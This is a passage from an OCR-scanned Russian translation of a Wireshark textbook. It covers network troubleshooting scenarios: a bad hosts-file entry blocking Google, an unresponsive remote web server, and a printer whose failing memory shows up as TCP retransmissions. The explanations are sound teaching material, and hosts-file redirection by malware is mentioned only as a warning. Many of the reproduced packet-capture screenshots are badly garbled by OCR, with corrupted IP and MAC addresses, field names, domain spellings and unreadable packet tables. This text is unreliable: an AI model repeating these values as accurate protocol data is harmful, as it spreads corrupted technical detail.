с тем, что он не может перейти на свою начальную страницу ht tps: / /www. 
google. com/. Когда этот пользователь пытается достичь любого домена, хо
стинг которого выполняется в Google, он направляется на страницу браузера 
с сообщением "Internet Explorer cannot display the web page" (Iпterпet 

Explorer не может отобразить указанную веб-страницу). Возникающее затруд
нение затрагивает только данного конкретного пользователя. Как и в преды

дущем сценарии, неполадка возникает в небольшой сети с несколькими про

стыми коммутаторами и одним маршрутизатором, служащим в качестве стан

дартного шлюза. 

Подключение к сети 

Чтобы приступить к анализу, придется предложить пользователю попробо

вать подключиться к Интернету для просмотра начальной страницы по адре

су https: / / www.google.com/ и в то же время воспользоваться сетевым ответ
вителем для прослушивания формируемого при этом сетевого трафика. Полу

ченный в итоге результат сохранен в файле перехвата nowebaccess2. pcapng. 

Анализ 

Перехваченный сетевой трафик начинается с АRР-запроса и ответа, как 

показано на рис. 10.17. В пакете 1 компьютер пользователя с МАС-адресом 
00:25:b3:bf:9l:ee и IР-адресом 172.16 . 0.8 посылает широковещательный 
пакет по протоколу ARP всем компьютерам в данном сегменте сети, чтобы по
пытаться найти МАС-адрес, связанный с IР-адресом хоста 172 .16. О .102. Мы 
не смогли сказать сходу, что это за адрес. 

No. • Time Source DesUn1tion Prctocol Length lnfo 
1 е.ееееее ee:2s:bз:bf:91:ee H:ff:ff:ff•ff:ff ARP 42 Who has 112.16.0.1021 т"н 172.lб.е.е 
2 8.888334 88:21:78:с8:5б1f8 80:2S:b3:bf:91:ee ARP 68 172.lб.&.1&2 is at 8&:21:7&:c8:Sб:fll 

Рис. 10.17. АRР-запрос и ответ дpyroro устройства в сети 

Из пакета 2 компьютеру пользователя становится известно, что МАС-адре
су 00: 21: 70: сО: 56: fO соответствует IР-адрес 172 .16. О .102. Опираясь на опыт 

из предыдущего сценария, можно предположить, что это адрес сетевого шлю

за, используемый для того, чтобы пакеты можно было (как и в прошлом сце

нарии) пересылать на внешний DNS-cepвep. Но, как показано на рис. 10.18, 
следующий пакет содержит не DNS-зaпpoc, а ТСР-запрос, передаваемый из се

тевого узла, находящегося по адресу 172 .16. О. 8, в сетевой узел, расположен

ный по адресу 172 .16. О .102. В заголовке этого пакета установлен флаг SYN О, 

указывающий на то, что это первый пакет в процессе установки соединения 

по протоколу ТСР между двумя сетевыми узлами (или хостами). 
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Jl Wireshark · Packet З · nowebacce<s2 о х 

franae З: бб bytes on wir• (528 Ьits), бб bytes captured (528 Ьits) 
Ethernet П, Src: ttewlettP_bf:91:ee (00:25:ЬЗ:Ьf:91:ее), Dst: Dell_ce:Sб:fe (00:21:7&:c&:56:f0) 

> Inteгnet Protocol Veгsion 4, Src: 172.16.&.8, Dst: 172.16.&.1&2 0 
: 0 • -;;:-;=-.~ - "- .--. ---

Source Port:: 1074 
Destination Рогt: 80 @ 
(Strea11 index: &) 
[ТСР Segment Len: &) 
Sequence nu11ber: 0 {гelвtive sequence numЬer} 
Acknowledgnient пumЬ.г: 0 
Неаdег Length: 32 bytes 

Window size value: 8192 
[Calculated window size: 8192] 
Checksu1R: 0х58Ь5 [validation disaЫed] 
Urgent pointeг: 0 

> Options: (12 bytes), М.xillu11 segment size, No-Operation (NDP), Window scale, No-Operation (-

Рис. J О. J 8. Пакет SYN, посылаемый по протоколу ТСР из одного хоста к другому 

Примечательно, что соединение по протоколу ТСР устанавливается с пор

том 80 8 по адресу 172 .16. О .102 О, который, как правило , связан с НТТР-тра
фиком. Как показано на рис. 10.19, попытка такого соединения неожиданно 
отвергается, когда хост, находящийся по адресу 172 .16. О .102 , посылает в от
вет пакет ТСР с установленными флагами RST и АСК О (т.е. пакет 4). 

Jl Wireshark · Packet 4 · nowebaccess2 о 

> fгanie 4: 60 bytes on wire (480 Ьits), 60 bytes captuгed (480 Ыts) 
> Ethernet II, Sгс: Dell_c0:Sб:f0 (00:21:70:c&:Sб:f&), Dst: НewlettP_bf:91:ee (00:25:ЬЗ:Ьf:91:ее) 
> Internet Protocol Veгsion 4, Sгс: 172.16.0.102, Dst: 172.16.&.8 
v Trans•ission Control Pгotocol, Src Port: 80 (80). Dst Port: 1074 {1074), Seq: 1, Ack: 1, len: 0 

SOurce Port: 80 
Destination Port: 1074 
[ Stгeam index: 0] 
(ТСР Segnient Len: 0] 
Sequence nwaЬer : 1 (relative sequence nu11ber) 
Acknowledgnient пu11Ь.г: 1 (relative ack nи11ber) 
Неаdег Length: 20 bytes 
Flags: 0><&14 (RST, АСК) 0 
Window size value: 0 
(Calculated window size: 0] 
[Window size scaling foctoг: -1 (unknown) ] 
Checksu• : ехс9аа [validation disaЫed] 
Urgent pointer: 0 
(SEQ/ACК analysis] 

х 

Рис. J О. J 9. Пакет ТСР с установленными флагами RST и АСК, посылаемый в 
ответ на пакет ТСР с установленным флагом SYN 



Как упоминалось в главе 8, "Протоколы транспортного уровня", флаг 
RST служит для разрыва соединения, устанавливаемого по протоколу ТСР. 

В данном случае хост, находящийся по адресу 172 .16. О. 8, попытался уста
новить соединение по протоколу ТСР с хостом, расположенным по адре

су 172 .16. О .102, через порт 80. Но в ответ, к сожалению, он получил пакет 
ТСР с установленным флагом RST, указывающим на разрыв соединения. Этот 

11роцесс повторялся три раза, прежде чем связь между хостами окончательно 

прекратилась (рис. 10.20). И в этот момент пользователь получил в окне сво
его браузера сообщение, извещавшее, что нельзя отобразить запрашиваемую 

страницу. 

ProlOCalL~Irlfo 

МР •2 "'° n.s 112.J6.1.1e2~ т~1111z.1а.е.1 

Рис. 10.20. Обмен пакетами SYN и RST по протоколу ТСР происходит три роза подряд 

После анализа конфигурации другого правильно работающего сетевого 

устройства обратим внимание на АRР-запрос и ответ в пакетах 1 и 2, посколь
ку АRР-запрос делается не с целью получения МАС-адреса маршрутизатора се

тевого шлюза, а для определения МАС-адреса какого-то неизвестного устрой

ства. Прослеживая АRР-запрос и ответ, мы ожидаем увидеть l)NS-зaпpoc, от

правленный по указанному нами адресу [)NS-cepвepa с целью найти IР-адрес, 

связанный с доменным именем https: / /www. 9009le. com/, но мы этого не на· 
ходим. Имеются следующие два условия, способные помешать сделать такой 

l)NS-зaпpoc. 

• Устройство, инициирующее соединение, уже содержит в своем кеше 

l)NS-запросов отображение DNS-имени на IР-адрес, как и в первом сце

нарии из этой главы. 

• Устройство, с которым устанавливается соединения по DNS-имени, уже 

содержит отображение DNS-имени на IР-адрес, указанное в его файле 

hosts. 

Дальнейшее исследование конфигурации клиентского компьютера пока

эывает, что в его файле hosts имеется запись для доменного имени https: / / 
www. google. com, связанного с внутренним IР-адресом 172 .16. О .102. Именно 
эта неверная запись и является главной причиной затруднений, возникших у 

данного пользователя. 

Как правило, компьютер использует свой файл hosts в качестве авто
ритетного источника соответствий DNS·имен и IР-адресов, и поэтому он 
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обращается именно к этому файлу, прежде чем запрашивать внешний источ

ник. В данном сценарии компьютер пользователя проверил сначала свой файл 

hosts, обнаружил в нем запись для доменного имени https: / /wt1t1. google. com 
и решил, что хост под этим именем находится в его локальном сегменте сети. 

Затем он послал этому хосту АRР-запрос, получил ответ и попытался иниции

ровать соединение по протоколу ТСР через порт 80 по адресу 172 .16. О .102. 
Но поскольку удаленная система не бьша сконфигурирована как веб-сервер, 

то она отвергла все попытки установить такое соединение. И как только со

ответствующая запись бьша удалена из файла hosts, компьютер пользователя 
начал правильно устанавливать связь и сумел получить доступ к неб-серверу 

по адресу https: / /www. google. сот/. 

i1ipiИ!pЩ!iii Чтобьt проверить содержимое сиоего файла hosts в системе Windows, 
открой1Т11! его для просмотра, воспользовавшись полным именем 

С: \Windows\System32\drivers\etc\hosts, а в системе Linux-/etc/ 
hosts. 

Это весьма распространенный сценарий, которым годами использовался 

во вредоносном программном обеспечении, чтобы переадресовать пользова

телей на веб-сайты с вредоносным кодом. Так, если атакующий злоумышлен

ник внесет изменения в файл hosts, то всякий раз, когда пользователь собира
ется выполнить онлайновые банковские операции, он будет переадресован на 

поддельный веб-сайт, специально предназначенный для кражи учетных дан

ных этого пользователя! 

Усвоенные уроки 

Продолжая анализировать сетевой трафик, вы можете не только узнать, 

каким образом действуют различные сетевые протоколы, но и как можно 

нарушить их нормальную работу. В данном сценарии DNS-зaпpoc не был по

слан из-за неверной конфигурации клиента, а не вследствие каких-то внешних 

ограничений или конфигураций. 

Анализируя данную проблему на уровне пакетов, мы сумели быстро выя

вить неизвестный IР-адрес и выяснить отсутствие DNS-зaпpoca на преобразо

вание имени - главной составляющей подобного процесса обмена данными 

по сети. Используя эти сведения, нам удалось установить, что главной причи

ной возникшей проблемы бьш сам клиент. 



Проблемь1 с обратным потоком данных 
Как и в двух предыдущих сценариях, в данном сцена-Файл перехвата 

noweЬaccessЗ.pcapnq рии пользователь жалуется на отсугствие доступа к 

Интернету из его рабочего компьютера. Этот пользо

ватель локализовал возникшую проблему к единственному веб-сайту по адресу 

h t tps: / /www. goog le. com/. Но в дальнейшем исследование показало, что дан
ная проблема возникала у всех сотрудников организации: никому из них не 

удавалось получить доступ к доменам компании Google. Сеть в этой организа
ции имеет такую же архитектуру, как и в двух предыдущих сценариях, и состо-

ит из нескольких простых коммугаторов и одного маршругизатора, через ко

торый происходит подключение к Интернету. 

Подключение к сети 

Чтобы выявить причину возникшей проблемы, попытаемся обратиться по 

адресу https: / /www.google.com/ для просмотра содержимого веб-сайта и фор
мирования сетевого трафика. Данная проблема распространена по всей сети, 

и поэтому в идеальном случае она должна воспроизводиться на любом устрой

стве сети с помощью большинства методик перехвата. Результат перехвата па

кетов через сетевой ответвитель сохранен в файле nowebaccessЗ .pcapng. 

Анализ 

Рассматриваемый здесь перехват пакетов начинается с сетевого трафика 

по протоколу DNS, а не ARP, как мы уже привыкли наблюдать. Первый пакет 
в этом перехвате посылается по внешнему адресу, а второй содержит ответ 

от сетевого узла, находящегося по этому адресу, поэтому мы можем предпо

ложить, что АRР-процесс уже произошел и соответствие МАС-адреса IР-адре

су маршругизатора сетевого шлюза уже существует в АRР-кеше сетевого узла, 

расположенного по адресу 172 .16. О. 8. 
Как показано на рис. 10.21, первый пакет в рассматриваемом здесь пере

хвате посылается хостом, находящимся по адресу 172 .16. О. 8, хосту, располо
женному по адресу 4.2.2.1 О, и относится к протоколу DNS 8. Анализируя 
содержимое этого пакета, можно обнаружить, что в нем содержится запрос 

записи типа А для преобразования доменного имени'""'. qooqle. com О в соот
ветствующий ему IР-адрес. 

Ответ на данный запрос от хоста, расположенного по адресу 4 . 2 . 2 .1, на
ходится во втором пакете из рассматриваемого здесь файла перехвата, как по

казано на рис. 10.22. Здесь мы видим, что сервер доменных имен, откликнув
шийся на данный запрос, прислал несколько ответов на него О. Пока что все 

вроде бы хорошо, и обмен данными происходит должным образом. 
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• Wireshark · Pack.et 1 · nowe.baccess.3 о х 

Fraroe 1: 74 bytes оп wire (592 bits), 74 bytes captured (592 bits) 
> Etherne1: П, Src: HewlettP _bf:9l:"'e (00:2S:b3:bf:91:ee), Dst: Ciscoinc_31:07:33 (88:26:0Ь:31:07:З3) 
> Internet Protocol Version 4, Src: 172.16.0.8, Dst: 4.2.2.1 0 
> User Datagra11 Protocol, Sгс Port: 64417 (64417), Dst Port: SЗ (53) 

Ocnain Na111e SysteJ1 (query) 6 
[Resoonse lni 21 
Transaction ID: 0хб138 
Flags: 0"9100 Standard query 
Questions: 1 
Answer RRs: 0 
Authority RRs : 0 
Additional RRs: 0 

v Queries t) 
-.google.com: type А, class IN 

Нате: ~.google.cont 

[Na!De Length: 14] 
[Label Count: 3] 
Тур.: А (llost Address) (1) 
Class: Ill (0х0001) 

Рис. 10.21. DNS-зaпpoc записи типа А для преобразования доменного 
имени www. google. сот в /Р-адрес 

11. Wirбharl: · Pock.t 2 · noweЬoccбs3 о 

fr•~ 2: 190 bytes on wire {1520 Ыts), 190 bytes coptured (1520 bits) 

х 

Ethernet II, Src: Ciscoinc_31:07:33 (00:2б:0Ь:31:07:33), Dst: H..wlettP_bf:9l:ee (88:25:b3:bf:9l:ee) 
Internet Protocol Version 4, Src: 4.2.2.1, Dst: 172.16.0.8 

> User Datagra• Protocol, Src Port: 53 (53), Dst Port: 64417 (64417) 
Dollain Naloe Systet1 (response) 

[Reauest In: 1] 
[Tioae: 0.010440000 seconds] 
Transaction ID: 0хб138 
Flags: 8х8180 Standard query response, No error 
Questions: 1 
Answer RRs: 7 

Authority RRs: 0 
Additional RRs: 0 
Queгies 

.., Answers О 
, -.google.c00>: type СNАМЕ, class IN, cname www.l.google.com 

-.l.google.coo: type А, class IN, addr 74.125.95.105 
-.1.google.com: tyµ.. А, class IN, addr 74.125.95.106 
-.1.google.cOlll: type А, class IN, addr 74.125.95.147 
-.l.google.c<>11: type А, class IN, addr 74.125.95.99 
_,,l.google.c011: type А, class IN, addr 74.125.95 .103 

> www.l.google.coo: type А, class IN, addr 74.125.95.104 

Close Нф 

Рис. 10.22. DNS-ответ с несколькими записями типа А 

А теперь, когда компьютер пользователя определил IР-адрес веб-серве

ра, он может попытаться установить связь с ним. Как показано на рис. 10.23, 



этот процесс инициируется в пакете 3, посылаемом по протоколу ТСР из 
хоста, находящегося по адресу 172 .16. О. 8, хосту, расположенному по адре

су 74 .125. 95 .105 О. Этот адрес получателя взят из первой записи типа А в 
DNS-ответе, который бьш прислан в рассмотренном выше пакете 2. А в дан
ном пакете ТСР установлен флаг SYN О и предпринимается попытка связаться 

с удаленным сервером через порт 80 8 . 

о х 

1 Fr.м 3: 645 bytas on wire (S28 Ыts)" 66 Ьуtс' opture:d (s28 Ыts) 
> ftМ:rnet II, Src: Нewl•ttP_bf:91 : ee (88-:2S:b3:bf:l1:t:e:}" Ost: C1scoinc_31:87 : 33 {М:16:8Ь:31:87:33) 

Inte:rne:t Protocol \k:t'sion 4" Src: 171..16.1.t, Ost: 74.12S.9S.1M О 

. . ::· ac::::====зezg~~-~ 
Source: Pof"t: 1251 
De:stin•tfon Por-t: 88 f} 
(Stre:• i~x: 8) 
[ТСР s,e~"t lan: е] 

~qu~e ~r: 8 (r•l•tive: s~ue:nce n....Ь..r) 

A.c.knowl~~nt ~r: 8 
tteader te:n h: 32 

1 
WinOori. sJze v•l~: 8192 
(C•lcul•trd window size:: 8192] 
Ctмclcsl.8: &xeifc [val1d1tion dis•ЫllIO] ! иrae:nt polnte:r: е 

_ ~ (12 byte:s), "-х1- se:~nt size:, ftcH)pe:гation (NOP), Windol. sc•le, Нo-~rati: {№Р), No·Opeгation (НОР), SACK pe:n&itted 

АЬ- J n--d..:№.J •Sewnl! J.'1.J&Al·~!4.J6..tf.JM·Atlf«Jllt rt;:P t.ydi. ii·llfitl' IJSl-ll[SYN}s.q""11$fr,.IJJJt-O/t/SS-J4Dws-fSAO:,PSIН-.I 

Рис. 10.23. Пакет SYN, посылаемый с целью попытаться установить соединение с 
удаленным сервером через порт 80 

В данном случае происходит процесс установки связи по протоколу ТСР, 

и поэтому мы вправе ожидать появления пакета SYN/ACK, посылаемого в от

вет по протоколу ТСР. Но вместо этого некоторое время спустя отправитель 

посылает еще один пакет SYN своему адресату. Этот процесс повторяется еще 

раз приблизительно через одну секунду, как показано на рис. 10.24. И в этот 

момент все попытки установить связь прекращаются, а браузер сообщает, что 

найти веб-сайт по указанному адресу не удалось. 

No. 

С' 66 tJ 

L .$ to- 61~;." 1i. •' (1,) 4 lH )\ .е~ о 66 ,'l"CP •~t·.t•t<;•t"\1Jf'll l:!>l "88 :~vw] щ-е .нr.•IHl Lot<' ... 1бS.•14f,3 145•<- SJ<(~_:>tQ.'~·1 

~ 1.91t53l .li.2 •• 11.9 1 -••. н .. -J" 1t5 ·ер ~t ,тtР Ae:~.11n~is.н.:inJ ~2SJ • 6-i [SYtil Wq...V Wi'l•8:.Э.l L~" .... t;s::."1458 ~ .... ~--_t:!~: 

Рис. 10.24. Пакет SYN посылался по протоколу ТСР три раза подряд, чтобы попытать
ся установить связь с удаленным сервером, но ответ на него так и не был получен 

Проводя диагностику сети в данном сценарии, следует иметь в виду, что 

рабочий компьютер в этой сети может подключаться к внешней сети благо

даря получению успешного ответа на DNS-зaпpoc к внешнему DNS-cepвepy, 

расположенному по адресу 4. 2. 2 .1. На этот запрос DNS-cepвep ответил кор

ректным адресом, и поэтому хосты в диагностируемой здесь сети пытаются 

связаться по одному из адресов, полученных в ответ. Кроме того, локальный 

291 



компьютер, из которого предпринимается попытка подключиться к Интерне

ту, функционирует нормально. 

Но проблема состоит в том, что удаленный сервер просто не отвечает на 

запросы установки соединения и не присылает в ответ пакет RST по протоко

лу ТСР. И это может произойти по нескольким причинам: неверно сконфи

гурированный веб-сервер, нарушена работа стека протоколов на веб-сервере 

или включена фильтрация пакетов неким устройством (например, брандмауэ

ром) в удаленной сети. Если предположить, что в локальной сети устройство 

фильтрации пакетов отсутствует, то все остальные возможные решения отно

сятся к удаленной сети, которая нам не подвластна. В данном случае веб-сер

вер функционировал неверно, и любые попытки получить к нему доступ ока

зались безуспешными. Но как только затруднение бьшо устранено на стороне 

веб-сервсра компании Google, связь с ним удалось восстановить. 

Усвоенные уроки 

В данном сценарии решить проблему оказалось не в наших силах. Как по

казал наш анализ, возникшее затруднение не бьшо связано ни с хостами в диа

гностируемой сети, ни с ее маршрутизатором или предоставлением внешним 

DNS-cepвepoм услуг по преобразованию имен в IР-адреса. Данная проблема 

возникла за пределами инфраструктуры диагностируемой сети. 

Иногда выявление проблемы, решить которую не в нашей власти, не толь

ко снимает напряжение в коллективе, но и не роняет наше достоинство, когда 

начальство требует ответа. Мне лично приходилось немало воевать с постав

щиками услуг Интернета и программного обеспечения, которые заявляли, 

что возникшая проблема не является следствием их оплошности, но, как ви

дите, пакеты не лгут. 

Испорченный принтер 
В следующем сценарии у администратора диспетчерской службы техниче

ской поддержки в отделе информационных технологий возникли трудности 

с выводом на печать. Пользователи из отдела продаж сообщают, что высоко

производительный принтер не работает. Когда пользователь посьшает этому 

принтеру крупное задание на печать, он сначала напечатает несколько стра

ниц, а затем прерывает печать еще до завершения данного задания. Было 

предпринято несколько попыток изменить параметры конфигурации драйве

ра принтера, но все они оказались безуспешными. Сотрудники диспетчерской 

службы технической поддержки предположили, что скорее всего это не сете

вая проблема. 



Подключение к сети 

Главной причиной данной проблемы являет-Файл перехвата inconsistent_ 
printer.pcapng ся принтер, поэтому начнем с размещения 

анализатора пакетов как можно ближе к 

принтеру. И хотя мы не можем установить Wireshark на самом принтере, ком
мутаторы, применяемые в сети, к которой подключен диагностируемый 

принтер, относятся к категории продвинутых коммутаторов третьего уровня. 

Следовательно, мы можем воспользоваться зеркальным отображением пор

тов, чтобы отобразить порт, используемый принтером, на пустой порт комму

татора и подключить к нему ноутбук с установленным приложением Wireshark. 
Как только это будет сделано, нам придется предложить пользователю отпра

вить на диагностируемый принтер крупное задание на печать, чтобы мы мог

ли проконтролировать этот вывод. Полученный в итоге результат сохранен в 

файле перехвата incons is ten t _pr in te r. pcapng. 

Анализ 

В процессе установки связи по протоколу ТСР между рабочим компьюте

ром (с адресом 172.16.0.8), посылающим принтеру (с адресом 172.16.0.253) 
О задание на печать по сети, инициируется запрос на соединение, как зафик

сировано вначале файла перехвата. Прослеживая подтверждение связи по 

протоколу ТСР, можно обнаружить, что в пакете 4 порция данных объемом 
1460 байт посьшается принтеру по протоколу ТСР 8 (рис. 10.25). Объем пе
редаваемых данных представлен в столбце Info справа в панели Packet List или 

под ТСР-заголовком в панели Packet Details. 

Прослеживая далее пакет 4, можно также обнаружить очередную пор
цию данных объемом 1460 байт, посылаемых принтеру О, как показано на 
рис. 10.26. Прием этих данных подтверждается принтером в пакете 6 8. 

Поток передаваемых данных продолжается до тех пор, пока не будут от

правлены последние несколько пакетов, зафиксированные в рассматривае

мом здесь файле перехвата. Признак проблемы обнаруживается в пакете 121, 
отправляемом по протоколу ТСР, как пока.1ано на рис. 10.27. 

Повторная передача пакета по протоколу ТСР осуществляется в том слу

чае, если одно устройство посылает пакет ТСР другому. удаленному устрой

ству, а то, в свою очередь, не подтверждает прием переданного ему пакета. 

И как только будет достигнут порог повторной передачи, передающее устрой

ство посчитает, что удаленное устройство не получило переданные ему дан

ные, и повторит передачу пакета. Этот процесс продолжается несколько раз, 

прежде чем обмен данными прекратится. 
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/1. Wireshark . Packet 4 . inconsiUent_printer о 

Franie 4: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) 
Et:hernet: П, Sгс: HewlettP_Ьf:9l:ee (00:25:ЬЗ:Ьf:91:ее), Dst: HewlettP_77:Ьd:bo (00:23:7d:77:Ьd:ba) 
Internet Protocol Version 4, Src: 172.16.0.8, Dst: 172.16.0.253 О 

х 

v Trans11issian Cantrol Protacal, Src Port:: 3527 (3527). Dst Рогt: 9100 (9181!), S"q: 1, Ack: 1, len: 1460 
Source Port: 3527 
Oestination Рогt: 9100 
[Stгea11 index: 0) 
[ТСР Se№l"nt l en: 1460) 
Sequence nuмber: 1 (гelative sequence ПUfllber) 

[Next sequence numЬer: 1461 
Acknowledgment numЬer: 1 
Неаdег Length: 20 bytes 
Flags: 0х010 (АСК) 

(гelative sequence n1J111Ьer)] 

(гelative ock number) 

Window si ze value: 16425 
[Calculated window size: 65700) 
{Window size scaling factor: 4] 

' ChecksuJO: 0x5ef4 [validation disaЫed) 
Urgent pointeг: 0 

> {SEQ/ACK analysis] 
v Data (1460 bytes) б 

Data: 1Ы52d31323334355840S04a4c20534554205245543d4f4e ... 
[Length: 1460] 

/\'о.: 4 • r .... {) IXJJ6З7 . 5оtям 172.16.0.8 • -- J7ZJ6.0.ZSЗ • "'°""'* ТСР • lгigdr: .Ш4 • /mx ЗSl7 - '1/JO {АО:/ s.t;..l Adt-1 -6571Ю Un• 146/J 

Cfose 1 с НЕ!>_ 

Рис. 10.25. Данные, передаваемые принтеру по протоколу ТСР 

.... 

1 

4 8.flt163' 
5 l.8tl'46 172.16.О.8 

б ••·"""" 1n.16.e.2sз 

7 •.ees.561 i.12.1&.e. a 
l '8.8e!tS71 172.16.8.1 
9 e.ew.;~11 .172.16.8.! 

U •.805SМ 172.16.8.8 
11 e.e33S69 172.16.8. 253 
12 t.8J36U 112.1s,e.a 
13 iJ.933:646 172.16.8 • .8 
14 &.OJ.)649 172. \6,0.IJ 
15 t.8.)36S8 1n.1б.е.е 

16 t.891)14 1.72.16.8 . .253 

172-16 .8.253 
172.1&.8-2SJ 
172.16.8.7'i! 
172.16.й.8 

112.н .. е.2sэ 
~12.16.•,2в 

17Z . 16 .&.2S3 
172.16.8.153 
172.16.t.I 
172.16.8.l'П 

172.16.&.21] 
172 .16.8.153 
172.J.6.8.15] 
172.16.t.8 

ТСР 

те• 
ТСР 

ТСР 

ТСР 

ТСР 

f(P 

ТСР 

ТСР 

ТСР 

ТСР 

f(P 

ТСР 

"' 

SC ЗS27 " 111М (АСК) S~•1 Ack•1 ldn-&5181 Цnа8 
lS:t~ Э!М7 " 91.N (А(]() ~1 Aclt•l tititt-&SJМ L.~1&6& 
1S14 ЭS27 -. 918& {АСК} ~!461 Act•t Wif'l-6S788 L~1-'" о 

168 9let • 3527 {РSН, At1'] s.q"1 Hk•2':U Wf,/1•711$ L~n·l* 
1S14 ЭS27 " 91" (ACKJ Seq-2321 Act-1t7 Win-6ssq2 L~l468 
1514 3527 ,,. 91.Н [ACIC) Se.q-4:s.9:1 Al:k-107 Vin-6S592 LМ1•1468 

1514 Э!М7 • 911J8 [Al.:K} St~MJ .\C:lc•18? "1n•6SS92 t.~1468 
151• ЭS27 • 910. (АОС} SЦ•71t1 Ac.k•l87 "1.n-6S.~92 ~·1468 
И 9191 • 3Sl7 (АС.К) ~q-117 .t.c!(w.•76.t '"'1""'6144 1.ton-t 

1514 3527 " 91" (ACll:} Sf:q-8761 kit.•1t1 v1n""6S592 \.е1'•1АС18 

1514 3527 • 9118 {AClt'] Щ•lfl21 "'-k•lt7 '6"""65'3'2 L~•1468 
1S14 3527 ... 9188 {АСК} Seq•1168l A.ct ... 187 Wl<')ao6SS91 1.en-1468 
1514 3527 ..., 918е [АСК) ~131.41 ~k"1•7 tiii...-6S!ill t.~•1461 

68 919' • 3517 М:К Se -i.e? Act-•14681 w.L.,........ ~ 

Рис. 10.26. Обычный режим передачи данных и подтверждения их приема по 
протоколу ТСР 

В данном сценарии повторно передаваемые данные посылаются из ком

пьютера клиента на принтер, поскольку принтеру не удалось подтвердить 

прием переданных ему данных. Как показано на рис. 10.27, причины для та
кой повторной передачи можно выяснить более подробно, если развернугь 

раздел SEQ/ACK analysis из ТСР-заголовка О вместе с указанными под ним све

дениями. В соответствии с подобными результатами обработки перехвачен

ных пакетов в Wireshark пакет 121 является повторно переданным пакетом 
120 8. Кроме того, время ожидания до повторной передачи (RTO) пакета со
ставило около 5,5 с 8. 



• W1reshark · Packet 121 . 1ncons1rtent_printer 

Fra11e 121: 1146 bytes оп wire (9168 bits), 1146 bytes c1ptured (9168 Ыts) 

Ethernet II, Src: HewlettP_Ьf:91:ee (00:2S:b3:bf:91:ee), Dst: HewlettP_77:bd:ba (00:23:7d:77:Ьd:ba) 

> Internet Protocol Veгsion 4" Src: 172.16.9.8, Dst: 172.16.9.253 

о 

v iranst1ission Control Protocol, Src Port: 3527 (3527), Dst Port: 9100 (9100), Seq: 118261, Ack: 1117, Len: 11192 
Source Port: 3527 
Destination Port: 9160 
[ Strea11 index: 11] 
[ ТСР Ses-ent Len: 11192] 
~uence nU11ber: 118261 (relative sequence nu•~r} 
[Next sequence nutlМr: 119353 (relative sequence nШllЬer)) 
Acknowledgment nu11Ьer: 187 (relative ack nufl!ber) 
Header Length: 2& bytes 
Flags: llxlllll (АСК) 

Window size value: 16398 
[Calculated window size: 65592] 
[Window size scaling factor: 4] 
ChecksU11 : llx5d84 [validation disaЬled] 
Urgent point!:r: е 

v [SEQ/ACK •n•lys:ls] о 
[iRТТ: &.0002111000 seconds] 
[Bytes :ln flight: 11192] 

v [ТСР Analysts Fl1gs] 
[Expert Info (Note/Sequence): This fra,.. :ls а (suspected} retrons11ission] 
[ihe RTO for th:ls segJll"nt was: 5. 5&2585000 seconds] @ 
fRTO Ьa sed on delta froo fraм : 12&1 О 
[Expert Info (W..rn/Sequence): ТСР window specified Ьу the гесеivег is now coaipletely full] 

RetгanS11itted ТСР segnient data (1892 bytes) 

х 

№; lZJ ' Tmtt1 l0.61'620 • 5o&n» Jll.16.0.8 • ~ 171.JS..IJ.2SJ ~ n:::P СР Witd)w Ful}{ТCP ~} З5J7- 9100[АСК} s.q.111&J Ad•1Dl ltn.ill.J1 lWЬ 

а- 1· ~ 

Рис. 10.27. Эти пакеты, переданные по протоколу ТСР, служат признаком потенци
альной проблемы в сети 

Анализируя задержку между пакетами, можно изменить формат отображе

ния времени применительно к конкретной ситуации. В данном случае требу

ется выяснить, как долго продолжались повторные передачи данных после 

отправки предыдущего пакета, поэтому измените этот формат, выбрав коман

ду Viewc:>Time Display Formatc:>Seconds Since Previous Captured Packet (Видс:>Формат 

времени отображения с:> Количество секунд, прошедших после предыдуще

го перехваченного пакета) и:J главного меню. И тогда можно ясно увидеть 

(рис. 10.28), что повторная передача данных в пакете 121 произошла через 

5,5 с после отправки псрвона'1ального пакета 120 О. 

Рис. 10.28. Для диагностики сети очень удобно просматривать промежуток времени, 
прошедший между пакетами 

В следующем наксте происходит очередная 11овторная передача пакета 120. 

Время ожидания до rювторной передачи этого 11акета составляет уже 11, 10 с, 

включая время ожидания до повторной передачи предыдущего пакета, равное 
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5,5 с. Как показывает анализ содержимого столбца Time в панели Packet List, 
эти данные были повторно переданы через 5,6 с после предыдущей повтор
ной передачи. А поскольку это последний пакет в рассматриваемом здесь фай

ле перехвата, то именно в данный момент принтер прекращает печать, что 

нельзя считать чистым совпадением. 

В данном сценарии мы можем анализировать работу лишь двух устройств в 

локальной сети, поэтому нам достаточно выяснить, кто является виновником 

возникшей проблемы: компьютер клиента или принтер. Как видите, поток 

данных правильно проходит по сети в течение определенного промежутка 

времени, но затем наступает момент, когда принтер перестает отвечать кли

ентскому компьютеру. Со своей стороны компьютер клиента делает все воз

можное, чтобы доставить данные получателю, о чем свидетельствуют повтор

ные передачи, но его усилия не находят отклика в принтере. Анализируемая 

здесь проблема неизменно воспроизводится и возникает независимо от того, 

какой именно компьютер посылает задание на печать. Из этого можно сде

лать вывод, что причиной данной проблемы является принтер. 

Проведя дальнейший анализ, мы обнаружим, что в процессе работы возни

кают сбои в оперативной памяти принтера. Когда крупные задания на печать 

посылаются принтеру, он печатает только определенное количество страниц, 

вероятно, до тех пор, пока не будут достигнуты сбойные участки оперативной 

памяти. И в этот момент сбои в работе оперативной памяти приведут к тому, 

что принтер будет неспособен принять любые новые данные и поэтому пре

кратит обмен данными с хостом, передавшим ему задание на печать. 

Усвоенные уроки 

Несмотря на то что возникшая с принтером проблема не связана с неполад

ками в сети, нам все же удалось выявить ее с помощью Wireshark. В отличие от 
предыдущих сценариев, анализ в данном случае был сосредоточен исключи

тельно на сетевом трафике по протоколу ТСР. А поскольку протокол ТСР слу

жит для надежной передачи данных, то он нередко предоставляет нам немало 

полезных сведений, когда два устройства перестают обмениваться данными 

по сети. 

В данном случае нам удалось выявить момент внезапного прекращения об

мена данными с принтером, опираясь только на информацию о повторной 

передаче данных, которая встроена в протокол ТСР. И в последующих сцена

риях мы будем нередко полагаться на функциональные возможности сетевых 

протоколов, чтобы выявить и устранить более сложные неполадки в сети. 



Отсутствие связи с филиалом 

Файлы жрехвата stranded _ clientside. 
pcapng и stranded _ branchdns . pcapng 

В данном сценарии речь идет о ком

пании с центральной штаб-кварти-

рой и недавно организованным уда

ленным филиалом. Информационно-технологическая инфраструктура этой 

компании сосредоточена, главным образом, в ее центральной штаб-квартире, 

где используется домен на основе сервера под управлением системы Windows. 
Эта инфраструктура поддерживается контроллером домена, DNS-cepвepoм и 

сервером приложений, где размещается веб-ориентированное программное 

